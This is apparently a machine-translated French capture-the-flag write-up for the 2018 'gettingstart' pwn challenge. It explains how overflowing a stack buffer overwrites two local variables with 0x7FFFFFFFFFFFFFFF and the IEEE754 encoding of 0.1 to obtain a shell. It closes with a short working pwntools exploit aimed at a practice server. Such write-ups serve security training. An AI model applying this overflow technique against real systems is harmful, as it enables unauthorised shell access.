Coupe du filet de garde_2018_gettingstart
- Inspection de routine, programme 64 bits, tous ouverts sauf RELRO
- Essayez-le pour voir la situation générale
- Chargement ida 64 bits.
Lorsque v5 = 0x7FFFFFFFFFFFFFFFLL est satisfait et v6 = 0.1, le shell peut être obtenu. Regardez la disposition de la pile.
Déterminez le décalage. Vous pouvez modifier la valeur de v5 et v6 lors de la lecture de buf.
Cette question n'est pas difficile, v5 La valeur peut être exprimée directement, il suffit de faire attention à la représentation de 0,1 dans la mémoire. Ce qui est stocké dans la mémoire est le complément des données, et les données en virgule flottante sont stockées dans la mémoire selon la norme IEEE754. Les maîtres intéressés peuvent Baidu pour voir comment calculer. Ici, j'ai trouvé un petit outil qui calcule les données et les stocke en mémoire sur les blogs d' autres maîtres.
exp
from pwn import *
p=remote("node3.buuoj.cn",27198)
payload='a'*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()